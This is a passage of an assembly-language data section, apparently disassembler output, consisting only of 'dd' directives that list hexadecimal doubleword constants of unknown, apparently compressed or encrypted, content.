		dd 0CBBE00F8h, 2E4571E1h, 1600BDCAh, 7B31235Fh,	246E8F53h
		dd 6808E3h, 41844FFFh, 8E392C14h, 0C8F9AA73h, 960053F6h
		dd 0F8B80CFEh, 0F2022EEh, 0F09E488Bh, 0ADF22FA1h, 54E340D7h
		dd 0AE0E8D6Fh, 0A4579715h, 0E881B135h, 63C053E0h, 49F30017h
		dd 830EA9B0h, 0ED0FE481h, 8A072Ah, 0CEE13B4h, 0B98903D3h
		dd 96698F06h, 0D4E73EB8h, 74315F00h, 0B1EE8623h, 0C05901C8h
		dd 0ABB8CEDCh, 0F6D4F8A5h, 0DA038E07h, 4A408D3Fh, 5E64832h
		dd 87B94B89h, 0C083019Ah, 0FC6B99F5h, 0C318F95Bh, 31189614h
		dd 0DB750046h, 0D611AEE8h, 72EFE64h, 0E00003BEh, 5F589881h
		dd 4C41002Bh, 16EDF866h, 34006D6Ah, 65DBE015h, 7FA87B21h
		dd 55D98BAh, 0EE8FE83Fh, 13208091h, 6338B830h, 486A0047h
		dd 0D6075C1Dh, 6D8805E3h, 4FB6F2h, 307246B4h, 25004C8Ch
		dd 89E7B9F9h, 3D9D2DD4h, 46801584h, 0EC41EA0Dh,	5F00B479h
		dd 0EFD10397h, 0FBCED8AFh, 7198E450h, 0C38401A5h, 0B035C61Ah
		dd 0F8FEC927h, 1500F40Ch, 0DDE39166h, 0C49085h,	0D94A1617h
		dd 757EA1BCh, 7C25E225h, 0E1CC0079h, 521F6D5Ch,	12FAF7FAh
		dd 4DE4B003h, 0BAE7199Dh, 118642Bh, 78844B8Dh, 30B0E669h
		dd 6A036D32h, 9141CAD4h, 0C1C8F09Ch, 0C95B0172h, 14587C70h
		dd 0A78424E8h, 0E0306900h, 0C840B144h, 5B8000BFh, 5C883CC5h
		dd 3106DB6Bh, 5A950D2Eh, 638E06E0h, 11B99FE9h, 8EED400h
		dd 647C8A21h, 19576053h, 93ECACF4h, 68FC8C30h, 1FF64873h
		dd 80D621A8h, 3397169Ch, 0BC0050B7h, 698D862Fh,	0E273530Dh
		dd 1440039h, 50067FDFh,	0C0F8C2A7h, 510009B0h, 0FD577276h
		dd 2481B9h, 2B686B52h, 45934D74h, 0F004F537h, 0C980D005h
		dd 18CC9B7h, 0F96A1514h, 80A22EA7h, 2724A320h, 9062B076h
		dd 728701E9h, 45E88E16h, 8BCDEC61h, 40D0C551h, 553FAA94h
		dd 3D3A890Fh, 5C033DE3h, 908AAD34h, 79A2B1h, 0EBD68DA4h
		dd 0C22C3328h, 0AE838903h, 0F86A201Eh, 7055CBh,	0ECDA4E30h
		dd 0D1FAB7A8h, 2E169900h, 7D8E0EA6h, 95F11E15h,	0DF0780BBh
		dd 59CC5AA5h, 8F09CF3Bh, 684582h, 3B49B676h, 84E31E07h
		dd 0A30E4F0h, 0A47269h,	0D757D4E5h, 0E0002D09h,	158B39A9h
		dd 2C936EB2h, 0CC05C1h,	0D3A4ADFFh, 0B800D5E9h,	0AADEDC8Eh
		dd 14287EEh, 0C32A5D3Fh, 0D4B349A1h, 4D1F2176h,	9FC0FCF7h
		dd 383F8462h, 1FF027h, 0FB4C5CCEh, 5B16496Ch, 6A9E191Ch
		dd 0F8228A0Ah, 7E69A180h, 7A4634C2h, 59137A1Bh,	7800CC0Fh
		dd 0F09862BDh, 0F5172854h, 6400D8AEh, 0A575219h, 0BDD30095h
		dd 662F1C83h, 0A700049Bh, 3D4C12CDh, 0B6AD70h, 3327ECBAh
		dd 1A35E3Bh, 1EB3D703h,	0B3147CFh, 4A62E181h, 5F17F020h
		dd 1A027ECAh, 5393C865h, 75FCC8C3h, 3B941910h, 0E39D11CBh
		dd 23FB05B0h, 286AA00h,	0AF38D542h, 7C75CEh, 6EF5759Bh
		dd 22734F0Ah, 40AB6514h, 2DCF1434h, 0E0B30740h,	948E022Ah
		dd 0D8651F10h, 0BCB72F00h, 0A6827334h, 80B56020h, 0AC28B7CFh
		dd 482C3F54h, 0E8B50384h
		dd 0F02DDD2Ah, 2090DFA2h, 0B02ACD7h, 5CEE5125h,	0F88A4005h
		dd 751C0E16h, 0B9C18904h, 0F063BB84h, 0B00FB36h, 8184D40h
		dd 0F254114Fh, 0ED0E0774h, 0B0FDB94Eh, 0B032DE1Fh, 14014A72h
		dd 0C8838FD0h, 0EC03565h, 0AAFAD9h, 593F6CDDh, 58DBC516h
		dd 2172C800h, 0D20DEBBFh, 3DE7784Ah, 7100AD1Eh,	0CDC6481h
		dd 0CB003017h, 767912Ah, 2C78DB3Fh, 682C26h, 0BDB9761Ch
		dd 0EE003ADCh, 0CBDFC5C9h, 46A860h, 34F96DBEh, 28FC93E4h
		dd 0D14E3700h, 0B9852DEAh, 46680060h, 0F97F7DCh, 890011D7h
		dd 2558BA36h, 482E0E5Bh, 46039375h, 2A0614CAh, 12E083A0h
		dd 0FC574A07h, 0E6A44E70h, 7B82F4A0h, 80B009Ch,	596591F2h
		dd 0D300CF64h, 0E68997Fh, 0EE2B03CDh, 1CC75B5h,	5482E4A8h
		dd 0D8331496h, 9C00424Ah, 87F5B3B9h, 20D43E61h,	8A098D08h
		dd 454EFE2Dh, 671A00E8h, 64A95A45h, 0F7BD3D00h,	665725A0h
		dd 5D4F03AAh, 11D3A73h,	56832800h, 611B9B8h, 93D70794h
		dd 900EFDFEh, 0F0868E96h, 872EFF00h, 0BD8DC332h, 0FADD04B4h
		dd 0C0E72039h, 6A66A754h, 0AFACAA00h, 4B91A64h,	63770113h
		dd 0C78CDE37h, 1116C8BFh, 93D94600h, 2556D17Ah,	94E300C4h
		dd 90306C6h, 3A0AADD4h,	9F4F47F8h, 1A006D2Ch, 192B8C5Eh
		dd 0F88048A7h, 0FC956001h, 60273947h, 9416E22Bh, 1400E7BFh
		dd 92D81F68h, 8F0A0529h, 0D0C56673h, 55F0E67Ch,	0E210450Bh
		dd 0A7ACA1EEh, 43EC5CF8h, 1CBC093Dh, 8C202C30h,	3AE94633h
		dd 7E5F2701h, 70B787A2h, 0F382C30h, 6E0A7A8Fh, 4A6CB812h
		dd 4082408h, 0D381E382h, 0B0970E4Ch, 0C6AB596Ch, 63055BFCh
		dd 3479A6B2h, 0D0067C80h, 0B7810BEAh, 807774FDh, 3DAF4A4Fh
		dd 48101E80h, 8069DE03h, 0BC721523h, 0EC0C4DC4h, 0DAF14AE2h
		dd 0DE8000CDh, 610637B3h, 8100DB3Ch, 0BE3F8820h, 0C4A7DB1h
		dd 0C022C33Dh, 0ED004F91h, 55B94E0h, 99BDA9h, 0DE9AE2E7h
		dd 8DEF3297h, 0BC1B4Dh,	0FAC7D3CCh, 14035C69h, 980838BDh
		dd 32B917h, 0CE74A7A8h,	0ED0A3399h, 9CE4CCE9h, 4280AB9Ch
		dd 0C2FD6760h, 6D840059h, 0EB0F0D36h, 5501FE31h, 8AD74FF9h
		dd 8171982Eh, 73845983h, 0A97D2F61h, 36C4DD00h,	4C0A66D1h
		dd 576B0055h, 9B54CD82h, 8500DAC8h, 2A3A3E27h, 0E55A9Ch
		dd 46CC2F41h, 4B5CDC6h,	0BD0AB2E2h, 0E888EF1Ch,	1D698683h
		dd 7482A043h, 3E00927Fh, 0A083F3F2h, 3A7DB9ABh,	2A5C70D0h
		dd 0D89589C0h, 7577C1h,	1F816943h, 3347025Eh, 0B7A12106h
		dd 49E419h, 28224E65h, 0E1E52073h, 0F5B95000h, 5296332Dh
		dd 0F1230018h, 0D6FB6D99h, 0A100B3C6h, 0B17AE41Bh, 0F9A975h
		dd 91124CC7h, 355E692h,	0F2DAD100h, 16FA19B9h, 99F50F9Fh
		dd 40604913h, 76334B5Dh, 7C31AB00h, 0BC415EFBh,	0D8F00CCh
		dd 0DAFF474Dh, 0DE7CFA45h, 919BF60h, 604A53EBh,	0D74811C1h
		dd 0DF002C06h, 4ED6FEAAh, 52A40EEh, 33E9EBAFh, 0C9E85C82h
		dd 0D4C04B4Fh, 1824C5CEh, 0C244E017h, 0A918C0FEh, 51589F5Eh
		dd 794000F7h, 0B0997889h, 3A530E27h, 0FEC22829h, 5CE0F5BBh
		dd 1F82E72h, 48C2C600h,	699283A5h, 177E7324h, 16CDE17h
		dd 0E65553A8h, 806DCD08h, 0EE862E10h, 0B444FFh,	0C7A90392h
		dd 4963076h, 0D484F61Ch, 5A0098E8h, 14AB5426h, 0F7B883Eh
		dd 3483084Ch, 9619D60h,	0CD007189h, 1A30C0EAh, 997B6Eh
		dd 9A81B66Fh, 727F07CFh, 765BD307h, 843AFDF8h, 8500E093h
		dd 0CB74605Dh, 0AFA600D2h, 681BB5FEh, 0EF3A169Dh, 90C7AA1Eh
		dd 0B3EE4900h, 419A7DA2h, 0E5E4ABh, 12C45927h, 0ADE1CCDCh
		dd 0A58CE000h, 16CF08E2h, 5FDA00A4h, 0EAA1576Dh, 70029EDh
		dd 37EFD631h, 7A1E1035h, 0BD56006Bh, 17DB87B6h,	0AB312620h
		dd 0C02F3076h, 1BEF6D0h, 23C4D670h, 0F7E66057h,	7B442100h
		dd 849BF472h, 2AD80FF7h, 45637FC1h, 198925Bh, 0FF0AC5EAh
		dd 0FC75F3D7h, 0F8BD6C80h, 0CA26C9h, 4BA2ED1Fh,	0B0E378C3h
		dd 800A2C12h, 0BB519020h, 0E011D339h, 0F90F50CAh, 1D4869h
		dd 0B10F6F7Ah, 3CED48FCh, 59870671h, 682D1C68h,	6003F76h
		dd 4CDFA9D1h, 0F49CFh, 45A65086h, 8E4320A7h, 0DC116900h
		dd 6331A09Bh, 0E3A103CEh, 0FE7C798Ch, 3F8825FBh, 9907CDE9h
		dd 0EE3194DFh, 0BB4823F0h, 0A77B586Fh, 54D22B00h, 0C5DAE85h
		dd 696C9B00h, 0FB90371Fh, 1303022Fh, 0D2EF87E2h, 0AC405A62h
		dd 0AE0036D1h, 0E62270C6h, 874212h, 0BA045383h,	0F0B0E564h
		dd 0C5F7EC00h, 43087BA0h, 7EC800E6h, 5D25B29Bh,	0E401D822h
		dd 75FCB6F5h, 0BEE81B9Ah, 0BCD00069h, 671F7678h, 0A8018611h
		dd 4609CDDEh, 837016E2h, 0D3F904E8h, 0C36095DDh, 0EEC04DF3h
		dd 4C3E9115h, 8F9BB842h, 20518E61h, 0CA0C704h, 0B02E00FDh
		dd 0E2672269h, 0FC717D73h, 288F241Dh, 0A3098E80h, 39CE6972h
		dd 738085EDh, 126698B1h, 0A40058F9h, 0A6F17BC7h, 0C017B9D3h
		dd 0C064B211h, 787E0947h, 8E004BF2h, 2D75805h, 0ECD818h
		dd 5C54B3ACh, 0DCCB0450h, 8092D039h, 902631BEh,	742B602h
		dd 2A0FBCE0h, 7F514055h, 4A005E76h, 97ECFB1Eh, 3C01CC0Ch
		dd 368006F8h, 78956F7Eh, 8A0753C4h, 0D8F2C63Ah,	0A6C035F5h
		dd 29FC791h, 0B4A5D9DDh, 0EC683476h, 0D6007FCDh, 1C48397Dh
		dd 9504F4Dh, 0CF8C8A43h, 0C0D588C3h, 61CA7908h,	80031C3Ch
		dd 9E6AA3E9h, 332C71h, 0B4B20B28h, 183D8EA5h, 0BC012209h
		dd 9C455Dh, 7F3130CDh, 0C81D6582h, 0D4061274h, 3E2061ACh
		dd 0DF3E4A75h, 7001EB0Bh, 7D82FCAFh, 0AC4884D3h, 0DF0EF908h
		dd 81E90A62h, 0A61C9206h, 6DD8E0h, 0A9D0882Ah, 0FFE046EDh
		dd 64C67601h, 0C471940Bh, 65B74083h, 68007B10h,	0A68C730h
		dd 3C1CE77h, 51C634C8h,	0CDE01075h, 73603145h, 0D874E628h
		dd 48775401h, 0E0FA86F8h, 0C62A6200h, 3A404703h, 0F99D00F0h
		dd 873C9AEFh, 51004131h, 188D2221h, 10B6A8h, 302D6BFEh
		dd 5CC67E62h, 3AC9FC13h, 0AECB1300h, 0B7A635h, 7FE0A798h
		dd 976ED3C6h, 0ED61358h, 80CFEC88h, 2CC06775h, 0C3190761h
		dd 906F866Eh, 0C70566CCh, 6A706200h, 65928B40h,	6278972Ch
		dd 0A9435100h, 0A6020650h, 0CF82002Dh, 0BC4A30B2h, 8600CA83h
		dd 0E7E96DE2h, 0FAD8FC5h, 3077AAB1h, 4ADDAEA0h,	9F183B07h
		dd 0A92019BAh, 0A79100B8h, 75D4E945h, 0CF009466h, 0CE161FDDh
		dd 543CA0h, 6178B1AAh, 7997D4F8h, 22A62D0Fh, 0DF81A1FEh
		dd 0C244D13h, 71DE032Eh, 10ADB7C9h, 98C5CF81h, 8B212308h
		dd 0CA7107D6h, 0B7B30E7Ch, 0F73E0063h, 4E03012Bh, 0AC25CE09h
		dd 0AF675h, 0B04838F3h,	368C4F05h, 48609830h, 0A886B5F7h
		dd 0F2ABA7DCh, 0E5B60C7Ch, 9B693914h, 8D18130Eh, 0C346602Bh
		dd 183405F9h, 3987350Ch, 69E8BA81h, 11322937h, 0E00DC7F0h
		dd 2AA806B3h, 8C0AB85h,	0F5211F60h, 0F40DCEh, 12049E22h
		dd 0F65125B6h, 58DF2F30h, 0C63A721Dh, 698FD781h, 77B41912h
		dd 2B9CE000h, 727347BAh, 5EAC03D9h, 701651C8h, 90C840FEh
		dd 0DC3C07Dh, 0C846B3DCh, 0F1072622h, 0BC200DCAh, 0C806B540h
		dd 1024A3D6h, 0EA4858h,	34D53C99h, 0FE677A2h, 3901CA95h
		dd 728A9060h, 8BECB7E0h, 41ED861Ch, 4E9ADE80h, 222E16h
		dd 23639DD1h, 3545F252h, 1DDAAA07h, 2400ED02h, 537308h
		dd 0D1011C59h, 1FEEB16Ch, 38B7DD00h, 8A3745FCh,	3E7108h
		dd 6AEBE32Bh, 62D92D7h
		dd 5E0063F6h, 7E044B94h, 158D01h, 0D4F8B28h, 0D4736156h
		dd 0CF956000h, 4ABC5176h, 0E53B0074h, 0AA5B04D1h, 3F00DFFCh
		dd 0B54435F0h, 9AA541h,	7BF5E8DBh, 0E41F3E1Bh, 11EE93Dh
		dd 8D48C40Bh, 0B3C4961Dh, 0FE41FAE3h, 4AB501F6h, 0EA7E6D17h
		dd 15CBFC4Dh, 1B00C6E0h, 6E85A366h, 415EF0h, 8FD418B2h
		dd 719CD5FDh, 74707C0Bh, 2BE180C6h, 0DE4191h, 121F920Fh
		dd 8C941D5Fh, 1708D200h, 302BD68h, 91E001B2h, 69A9D543h
		dd 0F380DF39h, 5000FCB4h, 8FF67507h, 995517h, 45844FCFh
		dd 828C0983h, 7503107Ch, 0B4ED6405h, 0B95B90ABh, 7F6F03C2h
		dd 3C139E3Fh, 2576100h,	2EE14636h, 9808C319h, 1DC0A8F5h
		dd 174CACD6h, 8A3874DEh, 388580FAh, 895CCC99h, 86F40Dh
		dd 0F0A854D5h, 0CE7C55D1h, 6EFA3076h, 0EF884C60h, 35026Ah
		dd 3623D43Bh, 0BF6371CBh, 0C2545107h, 17B0D06Eh, 0D11B3Ah
		dd 5850FD3Bh, 0A41F3D7Dh, 6F78F800h, 61C015EFh,	0D9772690h
		dd 78E00D6h, 18A42C23h,	2D63AB00h, 7365382Fh, 20220074h
		dd 346B87DDh, 3D54A194h, 4877F588h, 0C9024601h,	20D19CEDh
		dd 0C162430h, 0E93329A7h, 8A00B138h, 71ACEAEBh,	0D86F2Ah
		dd 0B67FEDCFh, 4396F25Eh, 232098C0h, 0FFC1C3h, 0D1D6B4A6h
		dd 269491Dh, 0EEEE8F7Ch, 8755F500h, 0CE78E672h,	0C184004Ch
		dd 0E0B1BC0Eh, 21308070h, 6C8A70FBh, 0D18E00CCh, 6E6D16A5h
		dd 0E7009C25h, 7A0F81F0h, 1C9B4CFCh, 3CE90EC8h,	0F61D6400h
		dd 2A75E87Eh, 874A2205h, 0E4003398h, 0BE215723h, 3DF0C039h
		dd 0F6E7A8C8h, 0C703C671h, 0E2790B38h, 0DB7E90EAh, 4285021Bh
		dd 0A1B10ED4h, 2502B981h, 0E051600Ah, 0FFA89300h, 7C130D59h
		dd 69EE0056h, 570140FDh, 0E0754783h, 84199400h,	909C1F5Dh
		dd 4BD801DEh, 0E8E5EFF5h, 8114DD7Eh, 0B24E6388h, 0F085AFB3h
		dd 803F9EC8h, 84C9E5CDh, 5FF78600h, 7E7C7529h, 1009060h
		dd 0E362E7D0h, 50C570F2h, 5AE505B8h, 0DA36A500h, 6C4CD45Ch
		dd 0AF7502BEh, 6F6DFA5Bh, 97F4FCA4h, 7CA32F10h,	0F0EFEC58h
		dd 59C60861h, 0E2247892h, 0C2AD427h, 1EF73000h,	0FD6D0B2Ah
		dd 0C0774Bh, 982447FEh,	5B8A04E3h, 0AA4F0800h, 0FC5AB9E7h
		dd 0F1760093h, 0FA3C1D71h, 7D0ADBCDh, 83F25F4Bh, 0E5B01E18h
		dd 9ACC80E4h, 8B5B3401h, 0B672BEBCh, 0F09B9EECh, 4EE2013Ch
		dd 0F6138CADh, 7207C073h, 0CF77E300h, 0EEB3F826h, 0C23C00EFh
		dd 0F1E3ADDh, 520114C1h, 78B60AD6h, 0B2DCE425h,	0DBD03DA5h
		dd 0BA534100h, 0EB73F12Bh, 0F2263490h, 9A0FA6BEh, 89F720FAh
		dd 7F577Eh, 384A790Eh, 927A4BD5h, 0C5F9C02h, 6820A5BBh
		dd 72C180h, 0D7FE0978h,	6A6EAE88h, 0E123C500h, 82AF9D3Bh
		dd 0FC60F1B2h, 49757FA2h, 1B05C49Eh, 400FC06Bh,	0B84E8CB4h
		dd 0FB395429h, 66942C72h, 7C1C803Ah, 6670BCFDh,	90230140h
		dd 4DEE3380h, 5F5860C0h, 7B9FAD5Ch, 0C2984300h,	7923960h
		dd 4869039Ch, 1715AC3Dh, 3B14BDD8h, 0F304D500h,	0B327F275h
		dd 58F00E7h, 0E0D24157h, 0C3006583h, 28BEE645h,	9916B9h
		dd 5BC10C97h, 31D9FA25h, 0B088F62Eh, 0FF83A001h, 0FF17E79h
		dd 0C8DACCh, 2C7A37D5h,	9704FC21h, 5CF3A600h, 0A317E890h
		dd 889E074Eh, 409F7156h, 0A5FB27E6h, 4FE6000h, 0C1994376h
		dd 1033130Fh, 0E0684045h, 64625078h, 0C94EC002h, 4121CD0Bh
		dd 86E4555Ch, 766F00F6h, 0EAA6A995h, 457883D6h,	7882A700h
		dd 9D18A8DDh, 3B87C6Bh,	78B5789h, 0C8F0A24Ah, 98002A61h
		dd 0C715E8EFh, 0B0372132h, 24E600D2h, 0F6DA3F7Eh, 0AF077020h
		dd 634942CCh, 0CECDCA20h, 0D63E04C4h, 80FD9291h, 457822AEh
		dd 1EAEC800h, 1BA2BB09h, 0AF610316h, 44FF6991h,	84EEF2F0h
		dd 6E091D00h, 0E68ED203h, 0EBB13CDCh, 1FD624F0h, 63990024h
		dd 0C3AB58EDh, 85C97C02h, 481C1265h, 5E1ABCh, 98780757h
		dd 0EED9E2CFh, 67C6230Eh, 42CB80F8h, 74CA3FEh, 0D4B5D78h
		dd 0AA033983h, 2100FF70h, 92515E7Ch, 0E2FE4543h, 3CBB3B2Bh
		dd 0CF5D2280h, 74534D01h, 0FDE87801h, 89A82875h, 0CF1CC450h
		dd 0BC3E3E11h, 81B101F9h, 6A65B578h, 3653E89Ah,	0E9352Eh
		dd 0F3112680h, 44D7F4h,	0BAEC1DE6h, 92DE2103h, 52EB0A0h
		dd 0D307D0B0h, 0F135EB26h, 8D61C5F0h, 859600A6h, 2102FA7Fh
		dd 0DDFCAF18h, 0CA48D560h, 0EC6855h, 3A24C484h,	0CE28B167h
		dd 3E10400h, 0C91CD3EBh, 7FFA9Fh, 0DE5615BAh, 824F0729h
		dd 0C514CD00h, 0B4BEF08Eh, 0ECE84Ah, 0CAAC834Dh, 65874ED0h
		dd 2BE16B07h, 32D02289h, 0F7DFB2Dh, 869A105Ah, 0BFE83C03h
		dd 78DDE590h, 77AA0D00h, 0DB56D24Dh, 0B3610E34h, 864064C4h
		dd 1337C7F4h, 0E4FAD000h, 699A948Ah, 491E0006h,	48AE6E6Bh
		dd 840062F5h, 0D7E63D9Ch, 26BAA47Ah, 0D6C7DBh, 0C4E7A08Bh
		dd 6A0EF1F9h, 0A2F3FF61h, 40763B3Eh, 2C86BE9Ch,	8B9019FAh
		dd 0B980D521h, 94F0B94Fh, 0AC9BA900h, 0B30B1D03h, 92A01777h
		dd 0CB400086h, 202D885Bh, 0AA008FEEh, 0EFF9AE9Dh, 11889CDh
		dd 3CA9E825h, 0E9B52BF1h, 0A448201Dh, 0A3C22D00h, 1638CCC6h
		dd 0D4490084h, 5FCF0FACh, 4E758B31h, 0B1F2A700h, 3A7A8076h
		dd 0A2F71DDFh, 2C8EC0A4h, 9902FE27h, 886EA603h,	80C54D57h
		dd 1660DFh, 0BD4CAC20h,	0F95C99FCh, 0B1256F04h,	0BFC07833h
		dd 0EB70CBCh, 0A528688Ch, 0CB9FDE20h, 2324C71Ch, 0D1D0910h
		dd 961CC026h, 84E5FC03h, 0F8110027h, 86C6EDFBh,	1D0E2C3Bh
		dd 0DC099ED4h, 53010E00h, 7F9F46h, 0EA5B924Bh, 20DC4C66h
		dd 2197F0C0h, 3C1C253Bh, 50601B22h, 41B42362h, 80BC69C9h
		dd 0ADD9A850h, 9070E5h,	465B2517h, 0FC8F4807h, 0F2809760h
		dd 509FC395h, 2A9E2482h, 17AC1C63h, 0E3B1999h, 909911B0h
		dd 0F6144081h, 55000DB9h, 27E83704h, 0B0EC8A5Ah, 0A570B6h
		dd 0B109E925h, 3673C7B8h, 0DBA3E0C0h, 0B560FF3Eh, 0F39CD1C0h
		dd 3500B198h, 4178ADB0h, 0E799087h, 84D3F1DEh, 545C5100h
		dd 570077A8h, 676C9D55h, 72D1F53h, 0BB3B7021h, 3882C0B8h
		dd 0C9397579h, 9526041Eh, 2CC7507Fh, 92150FB0h,	52663D98h
		dd 8800553Dh, 6EE7D10Ah, 31000736h, 3996EA8Dh, 17CDB04Fh
		dd 1E6F6394h, 14CC0A15h, 0C9E98084h, 0CD899CD8h, 0FC00127Fh
		dd 9FA9252Fh, 7803984h,	4E673427h, 649E3095h, 18B8CD6Ah
		dd 0B30296F4h, 67825F0h, 49C809Bh, 3C953FF4h, 180097F7h
		dd 1DC1549Eh, 0F8F90983h, 0A1007F13h, 0C98CF9BCh, 15447519h
		dd 0BC21AA11h, 95DA6F00h, 0AE257E85h, 58DD5600h, 0B1E7B4Eh
		dd 9DEB004Fh, 0E8E2C3CAh, 540D95A3h, 0C90CCC71h, 0C2DAFCh
		dd 9FA64B37h, 9363B439h, 0F05C2200h, 0C0C1A779h, 41CD0359h
		dd 19CC1FAFh, 0EA38390Eh, 3000D3ADh, 8369976Eh,	0B8230166h
		dd 18659E41h, 51E0CC8Fh, 0E99A2F32h, 7488811Fh,	1C64F3F6h
		dd 49CB00ACh, 8A0E2351h, 0D7A0CE45h, 8B1C55C1h,	541271Bh
		dd 162A14ADh, 0AF117989h, 677D3810h, 0F64F1505h, 0A400A0DBh
		dd 0CB028C46h, 6CFD1E1Ah, 3CCF809Bh, 0ACC3975Ah, 422EDF07h
		dd 18814638h, 7BE0DC96h, 399E7B81h, 28007EF1h, 0D204BA4Dh
		dd 0A407CDD3h, 0A5C56C2Eh, 37F6043h, 3D0AC20h, 17D8499Bh
		dd 460069F5h, 83EC1342h, 7CC8C3h, 0EEC2F181h, 0ED3CE8D0h
		dd 0B0858C0h, 6A37742h,	0BDC565A1h, 146008B2h, 42A2FA21h
		dd 81F500D7h, 0EC45BEA7h
		dd 0F8B8517Fh, 0AE083806h, 0CEB08F54h, 0A0A12831h, 0E0138771h
		dd 5119DF12h, 0CB78C384h, 42080A18h, 0C409A38Ch, 0A1FF4021h
		dd 2534842h, 9EF04C26h,	8C938430h, 6B881010h, 0FC41DA0Eh
		dd 0E7BEB647h, 1A66F1A2h, 0F7BBDC60h, 7AFF1100h, 0EA3D2D8Eh
		dd 0E5340007h, 0F291AA50h, 3105DC20h, 2FC37FC4h, 7FAE101Eh
		dd 84B97400h, 3E865C12h, 0BA003269h, 394D0D90h,	5838D053h
		dd 10D7300Ah, 3824869h,	550806ECh, 18865CAAh, 34002278h
		dd 0B8A0EA37h, 1D1F12ECh, 0BDB6EE27h, 8529118Fh, 0CB56F9C0h
		dd 81CE412Ah, 74E2E0B4h, 1C0FCAA4h, 40886676h, 7DC1F3E1h
		dd 0FE00B68Fh, 0ED5A2AD4h, 0B2387h, 4AF85B68h, 0B26AC89Bh
		dd 0EF1D983Bh, 186E8098h, 0E3AB5E7h, 0CA1FF5BFh, 3F93B3Fh
		dd 951CA0B6h, 0A90C13DFh, 0FA5A5568h, 0BDBA3D81h, 0CF6DDA00h
		dd 9C7E0945h, 3E82A106h, 3A310CBEh, 8CBCD970h, 0D0B4A907h
		dd 0D12E107Dh, 0CB059D06h, 2F03B6D2h, 5D46C00h,	0F816C38Fh
		dd 0FC800375h, 89FE1C13h, 0D41A09A1h, 35001751h, 0C6CC81E5h
		dd 1DE00529h, 0C16C37F2h, 974340A8h, 0DE1080F3h, 27C76952h
		dd 2E7A061Dh, 88277CBh,	203E6A30h, 0C77137h, 23C262CEh
		dd 0F2F4478h, 3E51CC60h, 1797B4AEh, 6421D40h, 382E847Ah
		dd 7F96F218h, 0E63708h,	0DC721154h, 706FFE10h, 0CA3E53Ah
		dd 6958227Bh, 6149F642h, 0FB5059B7h, 21BC480h, 0CE449E03h
		dd 5E9967h, 9AF82851h, 41C0806Fh, 681CAE00h, 83D4DCADh
		dd 0EDCF036Bh, 38C17CA4h, 2EDAD800h, 4A67F419h,	7E61C0CAh
		dd 383AFCACh, 8E62500Ch, 6C67095Fh, 37420F4h, 364D13Fh
		dd 3C66F1FAh, 6AD93C3Fh, 0ECF8302h, 0A884CC80h,	0C76B6041h
		dd 6A1D2311h, 3DDB08h, 0D8C77335h, 7D3B7183h, 68278064h
		dd 82F6FE2h, 18A1D3D0h,	8B2951D4h, 42ABDA0Eh, 92A560C4h
		dd 0E8DB34F9h, 0A990015h, 9F11429h, 5164904Dh, 866065E8h
		dd 38235503h, 661180h, 3CFC9E8Ch, 864EC02h, 38059812h
		dd 666D1630h, 2C6900A5h, 49098435h, 2403B832h, 0BC228B25h
		dd 3B53B8B5h, 0F9DE068Eh, 78DFDCBBh, 3E44B52h, 595FF6D0h
		dd 0B530F004h, 0F444508Fh, 6E81C0A4h, 36FC72D8h, 0A20DE800h
		dd 2D2F74E4h, 0CEF607D9h, 0B3949142h, 8406F7Bh,	6701AAE8h
		dd 187052E9h, 2A23C72h,	54D700CCh, 3EB9890Ah, 0BF33106Bh
		dd 124084Eh, 0A1C7521h,	20C93694h, 5A0407B6h, 0E2D9CD9h
		dd 50DB9088h, 0CFD81Dh,	27418092h, 50D34AADh, 0CA51F8E3h
		dd 7B5D8300h, 721A9CB9h, 1F40A43Dh, 88860A4Bh, 74586AF6h
		dd 960A0053h, 905EAFD4h, 887A91B2h, 5C15BB0Ah, 1805A47Ch
		dd 0E06071F4h, 0E238FCAAh, 0DE6342A0h, 9E0342C0h, 7298F62Dh
		dd 3E602063h, 0C2D97C00h, 91045ECCh, 0E1F2CAh, 61F7A87h
		dd 0BA391AD6h, 1CEBDB00h, 8BCE7E66h, 96A9C431h,	0A4B49086h
		dd 0AB00D721h, 4AF1B152h, 22E299Fh, 0C4D3FFB4h,	804F692Dh
		dd 0E2CE5A40h, 0E97B1C99h, 460584EEh, 870C8C1Eh, 503C58h
		dd 5138478Ah, 0BBD995h,	469498B3h, 531760A8h, 470010E6h
		dd 0AC3851A1h, 18DEC8C7h, 0C1879793h, 0B300138Ch, 6302E91Fh
		dd 748AF342h, 21796070h, 27B33C4Fh, 9BA83500h, 21FA4DFFh
		dd 0A148C864h, 19B315C0h, 703221E9h, 4D035891h,	52EFB326h
		dd 50323DA1h, 0E48F12A4h, 9B2C6300h, 0A47EF056h, 0E71007FEh
		dd 0E0C89D61h, 0B51B4050h, 9B44CD05h, 3C2BCA36h, 3A007923h
		dd 0A0ACDD9Fh, 62930C3Fh, 1920CC89h, 27799091h,	76006618h
		dd 48C20EC3h, 9A9C3781h, 0B4F91808h, 404C7970h,	42F9CC72h
		dd 4F309134h, 0BAAA110Ah, 80338856h, 230A1780h,	0A35549DAh
		dd 0EF141F8h, 6EAB2076h, 0E8B7051Fh, 443F35C2h,	484499h
		dd 0E6FB5FBEh, 7C66A33Ah, 3E23248h, 75CE575Ch, 1E611C3Eh
		dd 0BBF78487h, 3A48D41Dh, 45F23ACh, 0C3B2790Dh,	1909716Ch
		dd 9091225Bh, 65498700h, 8B18C18Bh, 0E07DC830h,	52BD887Ch
		dd 0E91B2D07h, 84A92251h, 3860902Ch, 0BA29AD0Ah, 81C0A81Eh
		dd 52A0A40h, 0F73F5A22h, 4CBC88B9h, 3EA9CE06h, 0F879247Ch
		dd 0CE89097h, 8EC1F9C7h, 602EE29h, 0CE519173h, 30084472h
		dd 0B0218096h, 0BD0042F8h, 0C096B77h, 4C79F5h, 483CE590h
		dd 3ACA3BA5h, 1C0990B1h, 6437C8h, 0F5C9A7D9h, 0C61CE162h
		dd 0CC2627FBh, 34C2B244h, 0C7683042h, 721D2817h, 405C38h
		dd 15EC770h, 0F6EB8E1Fh, 8C78AC29h, 4930981Eh, 0E16825h
		dd 69BAF340h, 28767866h, 62BE9503h, 0C0C45FECh,	4C7B4004h
		dd 7BE830FEh, 2CDD008Ch, 676E747Ch, 79CFF798h, 8746EEBDh
		dd 0C9104944h, 1DC5AD69h, 928E533h, 0AC041F22h,	0A39608Fh
		dd 46BA23ACh, 7E002B11h, 737C0A41h, 88057655h, 2C449BCAh
		dd 2C88DC85h, 0AF7424h,	8E484AA8h, 0E63FD705h, 8075C63Bh
		dd 797C99CAh, 0FC047AADh, 4C851336h, 0B900210Fh, 42BF1071h
